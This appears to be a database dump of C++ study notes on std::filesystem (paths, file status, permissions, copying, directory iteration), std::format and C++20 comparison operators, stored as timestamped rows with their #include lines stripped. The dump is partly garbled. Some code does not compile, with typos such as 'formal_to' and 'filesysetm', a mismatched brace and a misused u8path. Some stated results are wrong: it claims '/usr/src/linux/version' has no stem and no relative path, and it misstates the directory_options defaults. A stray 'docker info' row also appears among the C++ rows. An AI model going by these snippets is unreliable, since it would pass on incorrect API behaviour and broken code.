10:02:37.406418 -2557 592 create_directory("/tmp/notes"); // ERROR\nremove("/tmp/note.txt"); // OOPS: calls C function remove() code txt 2024-07-28 10:02:37.426541 -2558 593 Because dealing with exception is not always appropriate, the filesystem\nlibrary uses a mixed approach when dealing with the filesystem. text txt 2024-07-28 10:02:37.729168 -2559 593 Filesystem operations usually have two overloads for each operation. text txt 2024-07-28 10:02:37.749912 -2560 593 - By default, the operations throw `std::filesystem_error` exceptions on errors.\n- By passing an additional out parameter, an error code can be used instead. text txt 2024-07-28 10:02:37.770934 -2561 594 #include \n#include text txt 2024-07-28 10:02:38.307245 -2562 594 int main()\n{\n try\n {\n std::filesystem::create_directory("/tmp/");\n }\n catch (std::filesystem::filesystem_error const& exp)\n {\n std::cerr << exp.path1() << ": " << exp.what() << std::endl;\n }\n} code txt 2024-07-28 10:02:38.328666 -2563 595 #include \n#include text txt 2024-07-28 10:02:38.852939 -2564 595 int main()\n{\n std::error_code ec;\n std::filesystem::create_directory("/tmp/", ec);\n if (ec)\n {\n std::cerr << ec.message() << std::endl;\n } text txt 2024-07-28 10:02:38.873444 -2565 595 if (ec == std::errc::read_only_file_system)\n {\n std::cerr << "directory is read only\\\\n";\n }\n} code txt 2024-07-28 10:02:38.89508 -2566 596 The standard filesystem library defines an enumeration type `file_type`,\nwhich is standardized to have the following values: text txt 2024-07-28 10:02:39.412502 -2567 596 namespace std::filesystem\n{\n enum class file_type\n {\n regular, directory, symlink,\n block, character, fifo, socket,\n ...\n none, not_found, unknown\n };\n} code txt 2024-07-28 10:02:39.432137 -2568 597 #include \n#include text txt 2024-07-28 10:02:39.844432 -2569 597 using namespace std::string_literals; text txt 2024-07-28 10:02:39.865778 -2570 597 std::filesystem::path{"/dev/null"s}; // std::string\nstd::filesystem::path{L"/dev/null"s}; // std::wstring\nstd::filesystem::u8path{u8"/dev/null"s}; // std::u8string\nstd::filesystem::u16path{u16"/dev/null"s}; // std::u16string\nstd::filesystem::u32path{u32"/dev/null"s}; // std::u32string code txt 2024-07-28 10:02:39.887367 -2571 598 #include \n#include text txt 2024-07-28 10:02:40.190243 -2572 598 std::string filename{"/dev/random"};\nstd::filesystem::path{filename.begin(), filename.end()}; code txt 2024-07-28 10:02:40.211299 -2573 599 Note that `current_path()` is an expensive operation because it is based on\noperating system calls. text txt 2024-07-28 10:02:40.530684 -2574 599 #include text txt 2024-07-28 10:02:40.551175 -2575 599 auto working_directory{std::filesystem::current_path()}; code txt 2024-07-28 10:02:40.572082 -2576 600 #include text txt 2024-07-28 10:02:40.84743 -2577 600 auto temp{std::filesystem::temp_directory_path()}; code txt 2024-07-28 10:02:40.868554 -2578 601 std::filesystem::path p;\np.empty(); // true code txt 2024-07-28 10:02:41.129465 -2579 602 std::filesystem::path p{"assets/image.png"};\np.is_absolute(); // false\np.is_relative(); // true code txt 2024-07-28 10:02:41.412314 -2580 603 std::filesystem::path p{"/usr/src/linux/version"}; text txt 2024-07-28 10:02:42.187744 -2581 603 p.has_filename(); // true\np.filename(); // version text txt 2024-07-28 10:02:42.208655 -2582 603 p.has_stem(); // false\np.stem(); // (none) text txt 2024-07-28 10:02:42.229419 -2583 603 p.has_extension(); // false\np.extension(); // (none) text txt 2024-07-28 10:02:42.251484 -2584 603 p.has_root_name(); // false\np.root_name(); // (none) text txt 2024-07-28 10:02:42.272895 -2585 603 p.has_root_directory(); // true\np.root_directory(); // / text txt 2024-07-28 10:02:42.296289 -2586 603 p.has_root_path(); // true\np.root_path(); // / text txt 2024-07-28 10:02:42.317318 -2587 603 p.has_parent_path(); // true\np.parent_path(); // /usr/src/linux text txt 2024-07-28 10:02:42.339044 -2588 603 p.has_relative_path(); // false\np.relative_path(); // (none) text txt 2024-07-28 10:02:42.36014 -2589 603 p.begin();\np.end(); code txt 2024-07-28 10:02:42.381425 -2590 604 std::filesystem::path p{"/etc/resolv.conf"}; text txt 2024-07-28 10:02:42.627583 -2591 604 p.lexically_normal(); code txt 2024-07-28 10:02:42.648373 -2593 605 p.string();\np.wstring();\np.u8string();\np.u16string();\np.u32string(); code txt 2024-07-28 10:02:43.052049 -2594 606 Lexically relative path can be used in symbolic link creation. text txt 2024-07-28 10:02:43.50073 -2595 606 Lexical relative path yields the empty path if there is no relative path from p1 to p2. text txt 2024-07-28 10:02:43.522186 -2596 606 std::filesystem::path{"a/b/c"}.lexically_relative("/a/d"); // ../b/c\nstd::filesystem::path{"a/d"}.lexically_relative("/a/b/c"); // ../../d code txt 2024-07-28 10:02:43.543799 -2597 606 Lexical proximate path yields p1 if there is no relative path from p1 to p2. text txt 2024-07-28 10:02:43.564113 -2598 606 std::filesystem::path{"a/b"}.lexically_relative("c/d"}; // ""\nstd::filesystem::path{"a/b"}.lexically_proximate("c/d"}; // "a/b" code txt 2024-07-28 10:02:43.584578 -2599 607 std::filesystem::path p{"/dir\\\\\\\\subdir/subsubdir\\\\\\\\/./\\\\\\\\"}; text txt 2024-07-28 10:02:44.232184 -2600 607 p.generic_string(); // all the same: /dir/subdir/subsubdir//.//\np.generic_wstring();\np.generic_u8string();\np.generic_u16string();\np.generic_u32string(); code txt 2024-07-28 10:02:44.252636 -2601 607 `native()` yields the path converted to the native string encoding, which is\ndefined by the type `std::filesystem::path::string_type`. Under Windows this\ntype is `std::wstring`, so that you have to use `std::wcout`. text txt 2024-07-28 10:02:44.2723 -2602 607 `c_str()` does the same but yields the result as a null terminated character\nsequence. Note that using this function is also not portable. text txt 2024-07-28 10:02:44.293831 -2603 607 `make_preferred()` replaces any directory separator except for the root name\nby the native directory separator. text txt 2024-07-28 10:02:44.314617 -2604 607 p.native(); // /dir\\\\subdir/subsubdir\\\\/./\\\\\np.c_str(); // same\np.preferred(); // \\\\\\\\dir\\\\\\\\subdir\\\\\\\\subsubdir\\\\\\\\\\\\\\\\.\\\\\\\\\\\\\\\\ code txt 2024-07-28 10:02:44.334946 -2605 608 `+` , `+=` and `concat()` just append new characters to a path. text txt 2024-07-28 10:02:44.768315 -2606 608 std::filesystem::path p{"project"}; text txt 2024-07-28 10:02:44.790205 -2607 608 auto p2 = p + ".git"; // project.git text txt 2024-07-28 10:02:44.810512 -2608 608 p += ".git"; // project.git\np2.concat(".git"); // project.git text txt 2024-07-28 10:02:44.832674 -2609 608 std::filesystem::path p3{".git"};\np.concat(p3.begin(), p3.end()); // project.git code txt 2024-07-28 10:02:44.854142 -2610 609 `/` , `/=` and `append()` add a subpath separated with the current directory\nseparator. text txt 2024-07-28 10:02:45.29017 -2611 609 std::filesystem::path p{"project"}; text txt 2024-07-28 10:02:45.310533 -2612 609 auto p2 = p / ".git"; // project.git text txt 2024-07-28 10:02:45.330692 -2613 609 p.append(".git"); // project.git\np /= ".git"; // project.git text txt 2024-07-28 10:02:45.352317 -2614 609 std::filesystem::path p3{".git"};\np.append(p3.begin(), p3.end()); code txt 2024-07-28 10:02:45.374061 -2615 610 std::filesystem::path p{"/src/project/main"};\np.replace_extension(".cpp"); // /src/project/main.cpp code txt 2024-07-28 10:02:45.604899 -2616 611 std::filesystem::path p; text txt 2024-07-28 10:02:46.040458 -2617 611 std::string s{"/src/projects/linux"};\np.assign(s); text txt 2024-07-28 10:02:46.060634 -2618 611 std::string_view sv{"/src/projects/linux-stable"};\np.assign(sv); text txt 2024-07-28 10:02:46.081227 -2619 611 std::filesystem::path p2{"/src/projects/linux-hardened"};\np.assign(p2.begin(), p2.end()); code txt 2024-07-28 10:02:46.103701 -2620 612 std::filesystem::path p1;\nstd::filesystem::path p2; text txt 2024-07-28 10:02:46.403731 -2621 612 p1.swap(p2);\nstd::swap(p1, p2); code txt 2024-07-28 10:02:46.424251 -2622 613 std::filesystem::path p{"/src/project/main.cpp"};\np.replace_filename("window.cpp"); // /src/project/window.cpp code txt 2024-07-28 10:02:46.706449 -2623 614 std::filesystem::path p{"/src/project/main.cpp"};\np.replace_extension("hpp"); // /src/project/main.hpp code txt 2024-07-28 10:02:46.936289 -2624 615 std::filesystem::path p;\np.make_preferred(); code txt 2024-07-28 10:02:47.207182 -2625 616 std::filesystem::path p{"/src/project/main.cpp"};\np.remove_filename(); // /src/project/ code txt 2024-07-28 10:02:47.487477 -2626 617 std::filesystem::path p{"/src/project/main.cpp"};\np.replace_extension(); // /src/project/main code txt 2024-07-28 10:02:47.720134 -2627 618 `==` , `!=` , `<` , `>` , `<=` , `>=` , `compare(p2)` , `compare(sv)` and `equivalent(p1, p2)` are available. text txt 2024-07-28 10:02:47.909501 -2628 619 Using `==` , `!=` and `compare()` the following paths are all different: text txt 2024-07-28 10:02:48.492485 -2629 619 ```\ntmp/f\n./tmp/f\ntmp/./f\ntmp/subtmp/../f\ntmp//f\n/tmp\\\\f\ntmp/\\\\/f\n`````` text txt 2024-07-28 10:02:48.512821 -2630 619 Only if you call `lexically_normal()` for each path, all of the paths above are equal. text txt 2024-07-28 10:02:48.53428 -2631 619 std::filesystem::path p1{"tmp/f"};\nstd::filesystem::path p2{"tmp/./f"}; text txt 2024-07-28 10:02:48.555829 -2632 619 p1 == p2; // false\np1.compare(p2); // not 0\np1.lexically_normal() == p2.lexically_normal(); // true\np1.lexically_normal().compare(p2.lexically_normal()); // 0 code txt 2024-07-28 10:02:48.576544 -2633 620 To take the filesystem into account so that symbolic links are correctly\nhandled, use `equivalent()`. Note that this function requires that both paths\nrepresent existing files. text txt 2024-07-28 10:02:48.971778 -2634 620 std::filesystem::path p1{"/tmp/sym1"};\nstd::filesystem::path p2{"/tmp/sym2"}; text txt 2024-07-28 10:02:48.993433 -2635 620 std::filesystem::exists(p1); // true\nstd::filesystem::exists(p2); // true\nstd::filesystem::equivalent(p1, p2); code txt 2024-07-28 10:02:49.014932 -2636 621 std::filesystem::exists(p); code txt 2024-07-28 10:02:49.276486 -2637 622 Note that these functions follow symbolic links.\nSo for a symbolic link to a directory both `is_symlink()` and `is_directory()` yield true. text txt 2024-07-28 10:02:49.594334 -2638 622 std::filesystem::is_symlink(p);\nstd::filesystem::is_regular_file(p);\nstd::filesystem::is_directory(p); code txt 2024-07-28 10:02:49.615105 -2639 623 std::filesystem::is_other(p); code txt 2024-07-28 10:02:49.826938 -2640 624 std::filesystem::is_block_file(p);\nstd::filesystem::is_character_file(p);\nstd::filesystem::is_fifo(p);\nstd::filesystem::is_socket(p); code txt 2024-07-28 10:02:50.106543 -2641 625 std::filesytem::is_empty(p); code txt 2024-07-28 10:02:50.386311 -2642 626 This free-standing function returns the size of file p in bytes if it exists\nas regular file. For all other files the result is implementation-defined and\nnot portable. text txt 2024-07-28 10:02:50.684364 -2643 626 auto bytes = std::filesystem::file_size(p); code txt 2024-07-28 10:02:50.704333 -2644 627 std::filesystem::hard_link_count(p); code txt 2024-07-28 10:02:50.905461 -2645 628 Returns the timepoint of the last modification or write access of the file. The return type is a special `std::chrono::time_point` type. text txt 2024-07-28 10:02:51.351319 -2646 628 namespace std::filesystem {\n using file_time_type = chrono::time_point;\n} code txt 2024-07-28 10:02:51.372512 -2647 628 The clock type is an implementation specific clock type that reflects the resolution and range of file time values. text txt 2024-07-28 10:02:51.394164 -2648 628 auto last_write = last_write_time(p);\nauto diff = std::filesystem::file_time_type::clock::now() - last_write;\nauto last_write_seconds = std::chrono::duration_cast(diff).count(); code txt 2024-07-28 10:02:51.416059 -2649 629 std::filesystem::space_info = std::filesystem::space(p); code txt 2024-07-28 10:02:51.891414 -2650 629 The return value of `space()` is the following signature: text txt 2024-07-28 10:02:51.912204 -2651 629 namespace std::filesystem {\n struct space_info {\n uintmax_t capacity;\n uintmax_t free;\n uintmax_t available;\n };\n} code txt 2024-07-28 10:02:51.933341 -2652 630 `rename()` can deal with any type of file including directories and symbolic\nlinks. text txt 2024-07-28 10:02:52.263596 -2653 630 Renaming symbolic links will rename the link, not where it refers to. text txt 2024-07-28 10:02:52.285284 -2654 630 std::filesystem::rename(old, new); code txt 2024-07-28 10:02:52.306115 -2655 631 std::filesystem::last_write_time(p, newtime);\nstd::filesystem::last_write_time(p, std::filesystem::file_time_type::clock::now()); code txt 2024-07-28 10:02:52.543283 -2656 632 std::filesystem::permissions(p, perms);\nstd::filesystem::permissions(p, perms, mode); code txt 2024-07-28 10:02:53.016312 -2657 632 The optional `mode` is of the bitmask enumeration type `perm_options`,\ndefined in namespace `std::filesystem`. It allows on one hand to choose\nbetween `replace`, `add`, and `remove` and on the other hand with `nofollow`\nto modify permissions of the symbolic links instead of the files they refer\nto. text txt 2024-07-28 10:02:53.037609 -2658 632 // remove write access for group and any access for others\nstd::filesystem::permissions(p, std::filesystem::perms::owner_write | std::filesystem::perms::others_all, std::filesystem::perm_options::remove); code txt 2024-07-28 10:02:53.058682 -2659 633 std::filesystem::resize_file(p, newSize); code txt 2024-07-28 10:02:53.317499 -2660 634 std::filesystem::current_path(p); code txt 2024-07-28 10:02:53.546178 -2661 635 `exists()` follows symbolic links. So, it yields `false` if there is a\nsymbolic link to a non-existing file. To avoid following symbolic links, use\n`symlink_status()` and then call `exists()` using the returned `file_status`\nobject. text txt 2024-07-28 10:02:54.133597 -2662 635 #include \n#include text txt 2024-07-28 10:02:54.154567 -2663 635 int main()\n{\n std::filesystem::path existing_file{"/dev/random"};\n std::filesystem::path non_existing_file{"/dev/none"};\n std::filesystem::path existing_symlink{"/lib"}; text txt 2024-07-28 10:02:54.175588 -2664 635 std::filesystem::exists(existing_file);\n std::filesystem::exists(non_existing_file);\n std::filesystem::exists(symlink_status(existing_symlink));\n} code txt 2024-07-28 10:02:54.196728 -2665 636 Use `symlink_status()` function to return a `file_status` object and call\nthese functions with it. text txt 2024-07-28 10:02:54.523703 -2666 636 // check if p doesn't exist yet (as symbolic link)\nif (!exists(symlink_status(p)))\n ... code txt 2024-07-28 10:02:54.544144 -2667 637 std::filesystem::status(p); code txt 2024-07-28 10:02:54.758435 -2668 638 std::filesystem::symlink_status(p); code txt 2024-07-28 10:02:54.980436 -2669 639 std::filesystem::path p{};\nstd::filesystem::file_status fs = std::filesystem::status(p); text txt 2024-07-28 10:02:55.434428 -2670 639 std::filesystem::is_regular_file(fs);\nstd::filesystem::is_directory(fs);\nstd::filesystem::is_symlink(fs);\nstd::filesystem::is_other(fs); text txt 2024-07-28 10:02:55.455538 -2671 639 std::filesystem::is_character_file(fs);\nstd::filesystem::is_block_file(fs);\nstd::filesystem::is_fifo(fs);\nstd::filesystem::is_socket(fs); code txt 2024-07-28 10:02:55.477638 -2672 640 std::filesystem::path p{};\nstd::filesystem::file_status fs = std::filesystem::status(p);\nstd::filesystem::file_type ft = fs.type(); text txt 2024-07-28 10:02:56.0795 -2673 640 switch (fs.type())\n{\n using std::filesystem::file_type;\n case (file_type::regular): std::cout << "regular"; break;\n case (file_type::directory): std::cout << "directory"; break;\n case (file_type::block): std::cout << "block"; break;\n case (file_type::character): std::cout << "char"; break;\n case (file_type::symlink): std::cout << "symlink"; break;\n case (file_type::socket): std::cout << "socket"; break;\n case (file_type::fifo): std::cout << "fifo"; break;\n case (file_type::not_found): std::cout << "not found"; break;\n case (file_type::unknown): std::cout << "unknown"; break;\n case (file_type::none): std::cout << "none"; break;\n} code txt 2024-07-28 10:02:56.102891 -2674 641 std::filesystem::path p{};\nstd::filesysetm::file_status fs = std::filesystem::status(p);\nstd::filesystem::perms file_permissions = fs.permissions(); code txt 2024-07-28 10:02:56.38347 -2675 642 #include \n#include text txt 2024-07-28 10:02:56.775368 -2676 642 int main()\n{\n std::filesystem::path file{"/etc/passwd"};\n std::filesystem::file_status status{std::filesystem::status(file)};\n std::cout << "file type: ";\n std::cout << "\\\\n";\n} code txt 2024-07-28 10:02:56.795595 -2677 643 |Enum|Octal|POSIX|\n|---|---|---|\n|`none`|0||\n|`owner_read`|0400|`S_IRUSR`|\n|`owner_write`|0200|`S_IWUSR`|\n|`owner_exec`|0100|`S_IXUSR`|\n|`owner_all`|0700|`S_IRWXU`|\n|`group_read`|040|`S_IRGRP`|\n|`group_write`|020|`S_IWGRP`|\n|`group_exec`|010|`S_IXGRP`|\n|`group_all`|070|`S_IRWXG`|\n|`others_read`|04|`S_IROTH`|\n|`others_write`|02|`S_IWOTH`|\n|`others_exec`|01|`S_IXOTH`|\n|`others_all`|07|`S_IRWXO`|\n|`all`|0777||\n|`set_suid`|04000|`S_ISUID`|\n|`set_guid`|02000|`S_ISGID`|\n|`sticky_bit`|01000|`S_ISVTX`|\n|`mask`|07777||\n|`unknown`|0xFFFF|| text txt 2024-07-28 10:02:57.72995 -2678 643 std::filesystem::path p{};\nstd::filesystem::file_status fs = std::filesystem::symlink_status(fs);\nstd::filesystem::perms perms = fs.permissions();\nstd::filesystem::perms write_free = std::filesystem::perms::owner_write | std::filesystem::perms::group_write | std::filesystem::perms::others_write; text txt 2024-07-28 10:02:57.752707 -2679 643 if ((perms & write_free) != std::filesystem::perms::none)\n{\n} code txt 2024-07-28 10:02:57.773007 -2680 643 A shorter way to initialize a bitmask is: text txt 2024-07-28 10:02:57.79359 -2681 643 if ((perms & std::filesystem::perms{0222}) != std::filesystem::perms::none)\n{\n} code txt 2024-07-28 10:02:57.816632 -2682 644 #include text txt 2024-07-28 10:02:58.098796 -2683 644 std::fstream file{"/tmp/non-existing-file"}; code txt 2024-07-28 10:02:58.120374 -2684 645 std::filesystem::create_directory(p);\nstd::filesystem::create_directory(p, attributes); code txt 2024-07-28 10:02:58.636174 -2685 645 The functions to create one or more directories return whether a new\ndirectory was created. Thus, finding a directory that is already there is not\nan error. However, finding a file there that is not a directory is also not\nan error. text txt 2024-07-28 10:02:58.657783 -2686 645 if (!create_directory(p) && !is_directory(p))\n{\n std::cerr << p << " already exists as a non-directory\\\\n";\n} code txt 2024-07-28 10:02:58.678992 -2687 646 std::filesystem::create_directories(p); code txt 2024-07-28 10:02:58.933188 -2688 647 If path already exists as a symbolic link to a non-existing file, it will try\nto create the symbolic link at the location where already the symbolic link\nexists and raise a corresponding exception. text txt 2024-07-28 10:02:59.280664 -2689 647 std::filesystem::create_symlink(to, new); code txt 2024-07-28 10:02:59.300912 -2690 648 std::filesystem::create_directory_symlink(to, new); code txt 2024-07-28 10:02:59.530529 -2691 649 std::filesystem::create_hard_link(p); code txt 2024-07-28 10:02:59.76941 -3066 723 *file1.cpp*\n#include text txt 2024-07-28 10:03:55.815278 -2692 650 std::filesystem::copy(from, to);\nstd::filesystem::copy(from, to, options); code txt 2024-07-28 10:03:00.034308 -2693 651 std::filesystem::copy_file(from, to);\nstd::filesystem::copy_file(from, to, options); code txt 2024-07-28 10:03:00.26251 -2694 652 Copy functions: text txt 2024-07-28 10:03:00.87056 -2695 652 - Don't work with special file types.\n- Report an error if existing files are overwritten.\n- Don't operate recursively.\n- Follow symbolic links. text txt 2024-07-28 10:03:00.891468 -2696 652 enum class std::filesystem::copy_options {\n none,\n skip_existing, // skip overwriting existing files\n overwrite_existing, // overwrite existing files\n update_existing, // overwrite existing files if the new files are newer\n recursive, // recursively copy sub-directories and their contents\n copy_symlinks, // copy symbolic links as symbolic links\n skip_symlinks, // ignore symbolic links\n directories_only, // copy directories only\n create_hard_links, // create additional hard links instead of copies of files\n create_symlinks // create symbolic links instead of copies of files\n // for latter option the source path must be absolute path unless\n // the destination path is in the current directory\n}; code txt 2024-07-28 10:03:00.913415 -2697 653 Both symlinks would refer to the same file. text txt 2024-07-28 10:03:01.161265 -2698 653 std::filesystem::copy_symlink(from, to); code txt 2024-07-28 10:03:01.182659 -2699 654 std::filesystem::remove(p); code txt 2024-07-28 10:03:01.449084 -2700 655 Removes a file or recursively a directory. It returns as `uintmax_t` value\nhow many files were removed. It returns 0 if there was no file and\n`uintmax_t(-1)` if an error occured and no exception is thrown. text txt 2024-07-28 10:03:01.774403 -2701 655 std::filesystem::remove_all(p); code txt 2024-07-28 10:03:01.795333 -2702 656 The symbolic link and the file it refers to must already exist. text txt 2024-07-28 10:03:02.079164 -2703 656 std::filesystem::read_symlink(symlink); code txt 2024-07-28 10:03:02.099767 -2704 657 `absolute()` function does not follow symbolic links. text txt 2024-07-28 10:03:02.513686 -2705 657 std::filesystem::absolute(p); code txt 2024-07-28 10:03:02.533444 -2706 657 `canonical()` function follows symbolic links.\nThe file must already exist for this function to work. text txt 2024-07-28 10:03:02.554214 -2707 657 std::filesystem::canonical(p);\nstd::filesystem::weakly_canonical(p); code txt 2024-07-28 10:03:02.574866 -2708 658 std::filesystem::relative(p);\nstd::filesystem::proximate(p); code txt 2024-07-28 10:03:02.837303 -2709 659 std::filesystem::relative(p, base);\nstd::filesystem::proximate(p, base); code txt 2024-07-28 10:03:03.082014 -2710 660 The most convenient way to do is to use a range-based for loop. text txt 2024-07-28 10:03:03.409891 -2711 660 for (auto const& entry: std::filesystem::directory_iterator(dir))\n{\n std::cout << entry.lexically_normal().string() << '\\\\n';\n} code txt 2024-07-28 10:03:03.430475 -2712 661 code txt 2024-07-28 10:03:03.634618 -2713 662 When iterating over directories you can pass values of type\n`directory_options`. The type is a bitmask scoped enumeration type, defined\nin namespace `std::filesystem` as follows: text txt 2024-07-28 10:03:04.111076 -2714 662 namespace std::filesystem {\n enum class directory_options {\n none,\n follow_directory_symlink,\n skip_permission_denied\n };\n} code txt 2024-07-28 10:03:04.133509 -2715 662 The default is not to follow symbolic links and to skip directories you are\nnot allowed to iterate over. With `skip_permission_denied` iterating over a\ndenied directory, results in an exception. text txt 2024-07-28 10:03:04.155073 -2716 663 The elements directory iterators iterate over are of type\n`std::filesystem::directory_entry`. These iterators are input iterators. The\nreason is that iterating over a directory might result into different results\nas at any time directory entries might change. This has to be taken into\naccount when using directory iterators in parallel. text txt 2024-07-28 10:03:05.04364 -2717 663 e.path();\ne.exists()\ne.is_regular_file()\ne.is_directory()\ne.is_symlink()\ne.is_other()\ne.is_block_file()\ne.is_character_file()\ne.is_fifo()\ne.is_socket()\ne.file_size()\ne.hard_link_count()\ne.last_write_time()\ne.status()\ne.symlink_status()\ne1 == e2\ne1 != e2\ne1 < e2\ne1 <= e2\ne1 > e2\ne1 >= e2\ne.assign(p)\ne.replace_filename(p)\ne.refresh() code txt 2024-07-28 10:03:05.06471 -2718 663 `assign()` and `replace_filename()` call the corresponding modifying path\noperations but do not modify the files in the underlying filesystem. text txt 2024-07-28 10:03:05.086251 -2719 664 #include \n#include text txt 2024-07-28 10:03:05.737082 -2720 664 int main()\n{\n std::string date = std::format("{}/{}/{}", 2023, 10, 1);\n} code txt 2024-07-28 10:03:05.757374 -2721 665 #include \n#include text txt 2024-07-28 10:03:06.09214 -2722 665 int main()\n{\n std::string date = std::format("{0}/{1}/{2}", 2023, 10, 1);\n} code txt 2024-07-28 10:03:06.113629 -2723 666 #include \n#include text txt 2024-07-28 10:03:06.452349 -2724 666 int main()\n{\n std::string date = std::format("{:.^15}", "message");\n} code txt 2024-07-28 10:03:06.472379 -2725 667 #include \n#include \n#include text txt 2024-07-28 10:03:06.997564 -2726 667 template\nvoid print(std::string_view const fmt_str, Args&&... args)\n{\n auto fmt_args{std::make_format_args(args...)};\n std::string out{vformat(fmt_str, fmt_args)};\n fputs(out.c_str(), stdout);\n} text txt 2024-07-28 10:03:07.018324 -2727 667 int main()\n{\n print("message\\\\n");\n} code txt 2024-07-28 10:03:07.039164 -2728 668 #include \n#include \n#include \n#include text txt 2024-07-28 10:03:08.050523 -2729 668 class Data\n{\n std::string buffer;\n}; text txt 2024-07-28 10:03:08.070691 -2730 668 template <>\nstruct std::formatter\n{\n template\n constexpr auto parse(Context& ctx)\n {\n return ctx.begin();\n } text txt 2024-07-28 10:03:08.091077 -2731 668 template\n auto format(Data const& d, Format& ctx)\n {\n return formal_to(ctx.out(), "{}", d.buffer);\n }\n}; text txt 2024-07-28 10:03:08.112647 -2732 668 template\nvoid print(std::string_view const fmt_str, Args&&... args)\n{\n auto fmt_args{std::make_format_args(args...)};\n std::string out{vformat(fmt_str, fmt_args)};\n fputs(out.c_str(), stdout);\n} text txt 2024-07-28 10:03:08.133474 -2733 668 int main()\n{\n Data data;\n print("{}", data);\n} code txt 2024-07-28 10:03:08.154813 -2734 669 C++20 allows the use of constexpr in several new contexts. text txt 2024-07-28 10:03:08.632793 -2735 669 constexpr auto use_string()\n{\n std::string buffer{"sample"};\n return buffer.size();\n} text txt 2024-07-28 10:03:08.652279 -2736 669 constexpr auto use_vector()\n{\n std::vector buffer{1,2,3,4,5};\n return std::accumulate(buffer.begin(), buffer.end(), 0);\n} code txt 2024-07-28 10:03:08.672903 -2737 670 Before C++20 you had to define six operators for a type to provide full\nsupport for all possible comparisons of its objects. The problem is that even\nthough most of the operators are defined in terms of either `operator ==` or\n`operator <`, the definitions are tedious and they add a lot of visual\nclutter. text txt 2024-07-28 10:03:10.647415 -2738 670 class Value\n{\n long id; text txt 2024-07-28 10:03:10.668113 -3934 969 docker info code txt 2024-07-28 10:06:12.188014 -2739 670 public:\n bool operator==(Value const& rhs) const { return id == rhs.id; }\n bool operator!=(Value const& rhs) const { return !(*this == rhs); }\n bool operator< (Value const& rhs) const { return id < rhs.id; }\n bool operator<=(Value const& rhs) const { return !(*this < rhs); }\n bool operator> (Value const& rhs) const { return rhs < *this; }\n bool operator>=(Value const& rhs) const { return !(rhs < *this); }\n}; code txt 2024-07-28 10:03:10.69025 -2740 670 In addition, for a well implemented type, you might need: text txt 2024-07-28 10:03:10.709645 -2741 670 - Declare the operators with `noexcept` if they cannot throw.\n- Declare the operators with `constexpr` if they can be used at compile time.\n- Declare the operators as hidden friends (declare them with `friend` inside\n the class structure so that both operands become parameters and support\n implicit conversions if the constructors are not `explicit`).\n- Declare the operators with `[[nodiscard]]` to warn if the return value is\n not used. text txt 2024-07-28 10:03:10.73077 -2742 670 class Value\n{\n long id; text txt 2024-07-28 10:03:10.752148 -2743 670 public:\n [[nodiscard]] friend constexpr bool operator==(Value const& lhs, Value const& rhs) noexcept { return lhs.id == rhs.id; }\n [[nodiscard]] friend constexpr bool operator!=(Value const& lhs, Value const& rhs) noexcept { return !(lhs == rhs); }\n [[nodiscard]] friend constexpr bool operator< (Value const& lhs, Value const& rhs) noexcept { return lhs.id < rhs.id; }\n [[nodiscard]] friend constexpr bool operator<=(Value const& lhs, Value const& rhs) noexcept { return !(lhs < rhs); }\n [[nodiscard]] friend constexpr bool operator> (Value const& lhs, Value const& rhs) noexcept { return rhs < lhs; }\n [[nodiscard]] friend constexpr bool operator>=(Value const& lhs, Value const& rhs) noexcept { return !(rhs < lhs); }\n}; code txt 2024-07-28 10:03:10.774199 -2744 670 Since C++20 `operator ==` also implies `operator !=`, therefore, for `a` of\ntype `TypeA` and `b` of `TypeB`, the compiler will be able to compile `a !=\nb` if there is: text txt 2024-07-28 10:03:10.795724 -2745 670 - a freestanding `operator !=(TypeA, TypeB)`\n- a freestanding `operator ==(TypeA, TypeB)`\n- a freestanding `operator ==(TypeB, TypeA)`\n- a member function `TypeA::operator!=(TypeB)`\n- a member function `TypeA::operator==(TypeB)`\n- a member function `TypeB::operator==(TypeA)` text txt 2024-07-28 10:03:10.817156 -2746 670 Having both a freestanding and a member function is an ambiguity error. text txt 2024-07-28 10:03:10.838248 -2747 670 Since C++20 it is enough to declare `operator <=>` with `=default` so that\nthe defaulted member `operator <=>` generates a corresponding member\n`operator ==`: text txt 2024-07-28 10:03:10.85967 -2748 670 class Value\n{\n auto operator<=>(Value const& rhs) const = default;\n auto operator<=>(Value const& rhs) const = default; // implicitly generated\n}; code txt 2024-07-28 10:03:10.880708 -2749 670 Both operators use their default implementation to compare objects member by\nmember. The order to the members in the class matter. text txt 2024-07-28 10:03:10.901381 -2750 670 In addition, even when declaring the spaceship operator as a member function,\nthe generated operators: text txt 2024-07-28 10:03:10.921484 -2751 670 - are `noexcept` if comparing the members never throws\n- are `constexpr` if comparing the members is possible at compile time\n- implicit type conversions for the first operand are also supported if a\n corresponding implicit type conversion is defined\n- may warn if the result of a comparison is not used (compiler dependent) text txt 2024-07-28 10:03:10.94378 -2752 671 If the `operator <=>` for `x <= y` does not find a matching definition of\n`operator <=`, it might be rewritten as `(x <=> y) <= 0` or even `0 <= (y <=>\nx)`. By this rewriting, the `operator <=>` performs a three-way comparison,\nwhich yields a value that can be compared with 0: text txt 2024-07-28 10:03:12.167801 -2753 671 - If the value of `x <=> y` compares equal to 0, `x` and `y` are equal or equivalent.\n- If the value of `x <=> y` compares less than 0, `x` is less than `y`.\n- If the value of `x <=> y` compares greater than 0, `x` is greater than `y`. text txt 2024-07-28 10:03:12.188948 -2754 671 The return type of `operator <=>` is not an integral value. The return type\nis a type that signals the comparison category, which could be the *strong\nordering*, *weak ordering*, or *partial ordering*. These types support the\ncomparison with 0 to deal with the result. text txt 2024-07-28 10:03:12.209826 -2755 671 You have to include a specific header file to deal with the result of\n`operator <=>`. text txt 2024-07-28 10:03:12.232141 -2756 671 #include text txt 2024-07-28 10:03:12.251797 -2757 671 class Value\n{\n long id; text txt 2024-07-28 10:03:12.272453 -2758 671 public:\n std::strong_ordering operator<=>(Value const& rhs) const\n {\n return id < rhs.id ? std::strong_ordering::less :\n id > rhs.id ? std::strong_ordering::greater :\n std::strong_ordering::equivalent;\n }\n}; code txt 2024-07-28 10:03:12.294063 -2759 671 However, it is usually easier to define the operator by mapping it to results\nof underlying types. text txt 2024-07-28 10:03:12.314484 -2760 671 #include text txt 2024-07-28 10:03:12.335096 -2761 671 class Value\n{\n long id; text txt 2024-07-28 10:03:12.355756 -2762 671 public:\n auto operator<=>(Value const& rhs) const\n {\n return id <=> rhs.id;\n }\n}; code txt 2024-07-28 10:03:12.377306 -2763 671 The member function has to take the second parameter as `const` lvalue\nreference with `=default`. A friend function might also take both parameters\nby value. text txt 2024-07-28 10:03:12.398305 -2764 672 - **strong ordering**: any value of a given type is either *less than* or\n *equal to* or *greater than* any other value of this type. If a value is\n neither less nor greater is has to be equal.\n + 